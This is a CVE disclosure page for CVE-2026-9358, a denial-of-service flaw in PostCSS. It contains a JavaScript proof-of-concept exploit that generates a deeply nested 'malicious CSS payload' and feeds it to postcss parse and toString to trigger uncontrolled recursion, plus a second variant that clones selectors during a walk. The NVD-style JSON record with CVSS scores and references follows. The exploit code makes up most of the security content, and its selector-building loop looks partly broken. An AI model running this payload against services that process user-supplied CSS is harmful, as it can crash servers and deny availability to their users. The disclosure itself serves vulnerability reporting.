CVE-2026-9358

// CVE-2026-9358 PoC - PostCSS Uncontrolled Recursion DoS // This PoC triggers uncontrolled recursion in postcss toString function const postcss = require('postcss'); // Generate deeply nested selector to trigger recursion function generateNestedSelector(depth) { let selector = '.root'; for (let i = 0; i < depth; i++) { selector = selector + ' > .nested-' + i + ' > '; } selector = selector + '.target'; return selector; } // Alternative PoC with circular reference simulation function generateRecursiveCSS() { // Generate CSS with deeply nested selectors const nestedSelector = generateNestedSelector(10000); return `${nestedSelector} { color: red; }`; } try { console.log('Starting PoC for CVE-2026-9358...'); console.log('Generating malicious CSS payload...'); const maliciousCSS = generateRecursiveCSS(); console.log('CSS payload length:', maliciousCSS.length); console.log('Attempting to parse malicious CSS...'); const result = postcss.parse(maliciousCSS); console.log('Attempting to stringify result (this will trigger recursion)...'); const output = result.toString(); console.log('PoC execution completed without crash (increase nesting depth)'); } catch (error) { console.log('PoC triggered vulnerability!'); console.log('Error:', error.message); } // Additional PoC variant for selector container recursion const postcss2 = require('postcss'); const selectorParser = require('postcss-selector-parser'); function pocVariant2() { const root = postcss2.parse('.a { color: red; }'); const processor = selectorParser((selectors) => { // Create self-referencing or deeply nested structure selectors.walk((selector) => { // Modify selector to create potential recursion selector.append(selector.clone()); }); }); try { root.walkDecls((decl) => { processor.process(decl.parent.selector).then(result => { console.log('Selector processed'); }); }); } catch (e) { console.log('Variant 2 triggered error:', e.message); } }

{"cve": {"id": "CVE-2026-9358", "sourceIdentifier": "[email protected]", "published": "2026-05-24T06:16:37.573", "lastModified": "2026-05-26T19:54:40.357", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in postcss up to 7.1.1. Affected is the function toString of the file src/selectors/container.js of the component AST Serialization. Executing a manipulation can lead to uncontrolled recursion. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor explains, that according to his definition \"DoS on server-side on user-generated CSS is low risk for us (since most users compile own CSS with PostCSS).\""}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}, {"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://gist.github.com/bx33661/581e3a38134601c04e19b4dfc9b459b9", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813080", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365321", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365321/cti", "source": "[email protected]"}]}}